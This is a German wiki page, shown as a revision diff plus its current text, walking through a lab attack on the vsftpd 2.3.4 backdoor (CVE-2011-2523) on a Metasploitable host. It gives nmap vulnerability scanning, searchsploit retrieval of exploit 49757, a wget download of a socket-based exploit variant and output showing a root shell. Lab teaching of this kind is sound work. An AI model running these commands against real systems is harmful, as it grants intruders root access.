Vsftp4-angriff: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
 
(7 dazwischenliegende Versionen desselben Benutzers werden nicht angezeigt)
Zeile 1: Zeile 1:
=Angreifer=
+
= Angreifer: vsftpd 2.3.4 Backdoor =
==Scan==
+
 
*nmap -sV --script vuln 10.0.10.105 -p 21
+
== Scan mit Nmap ==
 +
 
 +
*nmap -sV --script vuln 10.0.10.105 -p 21
 
<pre>
 
<pre>
Starting Nmap 7.92 ( https://nmap.org ) at 2021-10-27 19:27 CEST
 
Nmap scan report for metaspoitable.hack.lab (10.0.10.105)
 
Host is up (0.00088s latency).
 
 
 
PORT  STATE SERVICE VERSION
 
PORT  STATE SERVICE VERSION
 
21/tcp open  ftp    vsftpd 2.3.4
 
21/tcp open  ftp    vsftpd 2.3.4
Zeile 14: Zeile 12:
 
|    State: VULNERABLE (Exploitable)
 
|    State: VULNERABLE (Exploitable)
 
|    IDs:  BID:48539  CVE:CVE-2011-2523
 
|    IDs:  BID:48539  CVE:CVE-2011-2523
|      vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.
 
|    Disclosure date: 2011-07-03
 
|    Exploit results:
 
 
|      Shell command: id
 
|      Shell command: id
 
|      Results: uid=0(root) gid=0(root)
 
|      Results: uid=0(root) gid=0(root)
 +
|    Disclosure date: 2011-07-03
 
|    References:
 
|    References:
|      https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
 
 
|      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523
 
|      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523
|      https://www.securityfocus.com/bid/48539
+
|      https://www.exploit-db.com/exploits/49757
 
|_      http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
 
|_      http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
MAC Address: 0C:67:68:58:00:00 (Unknown)
 
Service Info: OS: Unix
 
 
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
 
Nmap done: 1 IP address (1 host up) scanned in 12.68 seconds
 
 
</pre>
 
</pre>
  
==Searchsploit==
+
== Zwei Möglichkeiten zur Exploit-Beschaffung ==
*searchsploit vsftpd 2.3.4
 
*searchsploit -m 49757 unix/remote/49757.py
 
  
==Nach Exploit googlen==
+
=== 1. Mit searchsploit ===
;CVE-2011-2523 exploit-db
+
*searchsploit vsftpd 2.3.4 
 +
*searchsploit -m unix/remote/49757.py
  
==Exploit finden==
+
=== 2. Manuell suchen ===
 +
;Nach Exploit googeln: 
 +
*CVE-2011-2523 exploit-db 
 
*https://www.exploit-db.com/exploits/49757
 
*https://www.exploit-db.com/exploits/49757
==Exploit ausführen==
+
 
*python 49757.py 10.0.10.105
+
== Exploit ausführen ==
Success, shell opened
+
 
Send `exit` to quit shell
+
=== Option 1: Original (telnetlib, veraltet) ===
 +
*python3 49757.py 10.0.10.105 
 +
→ Bei aktuellen Systemen schlägt dies fehl wegen fehlendem `telnetlib`:
 +
<pre>
 +
ModuleNotFoundError: No module named 'telnetlib'
 +
</pre>
 +
 
 +
=== Option 2: Alternative mit socket ===
 +
'''Wir geben aber nicht auf :-)'''
 +
*Man ersetzt `telnetlib` durch `socket` 
 +
*Vordefinierte Version:
 +
<pre>
 +
wget https://xinux.de/downloads/python/49757-socket.py
 +
python3 49757-socket.py 10.0.10.105
 +
</pre>
 +
 
 +
→ Ausgabe:
 +
<pre>
 +
[+] FTP Banner: 220 (vsFTPd 2.3.4)
 +
[+] Success! Connected to shell on port 6200.
 +
[*] Type commands, Ctrl+C to exit.
 +
shell> id
 +
uid=0(root) gid=0(root)
 +
</pre>

Aktuelle Version vom 18. Mai 2025, 16:40 Uhr

Angreifer: vsftpd 2.3.4 Backdoor

Scan mit Nmap

  • nmap -sV --script vuln 10.0.10.105 -p 21
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.3.4
| ftp-vsftpd-backdoor: 
|   VULNERABLE:
|   vsFTPd version 2.3.4 backdoor
|     State: VULNERABLE (Exploitable)
|     IDs:  BID:48539  CVE:CVE-2011-2523
|       Shell command: id
|       Results: uid=0(root) gid=0(root)
|     Disclosure date: 2011-07-03
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523
|       https://www.exploit-db.com/exploits/49757
|_      http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html

Zwei Möglichkeiten zur Exploit-Beschaffung

1. Mit searchsploit

  • searchsploit vsftpd 2.3.4
  • searchsploit -m unix/remote/49757.py

2. Manuell suchen

Nach Exploit googeln

Exploit ausführen

Option 1: Original (telnetlib, veraltet)

  • python3 49757.py 10.0.10.105

→ Bei aktuellen Systemen schlägt dies fehl wegen fehlendem `telnetlib`:

ModuleNotFoundError: No module named 'telnetlib'

Option 2: Alternative mit socket

Wir geben aber nicht auf :-)

  • Man ersetzt `telnetlib` durch `socket`
  • Vordefinierte Version:
wget https://xinux.de/downloads/python/49757-socket.py
python3 49757-socket.py 10.0.10.105

→ Ausgabe:

[+] FTP Banner: 220 (vsFTPd 2.3.4)
[+] Success! Connected to shell on port 6200.
[*] Type commands, Ctrl+C to exit.
shell> id
uid=0(root) gid=0(root)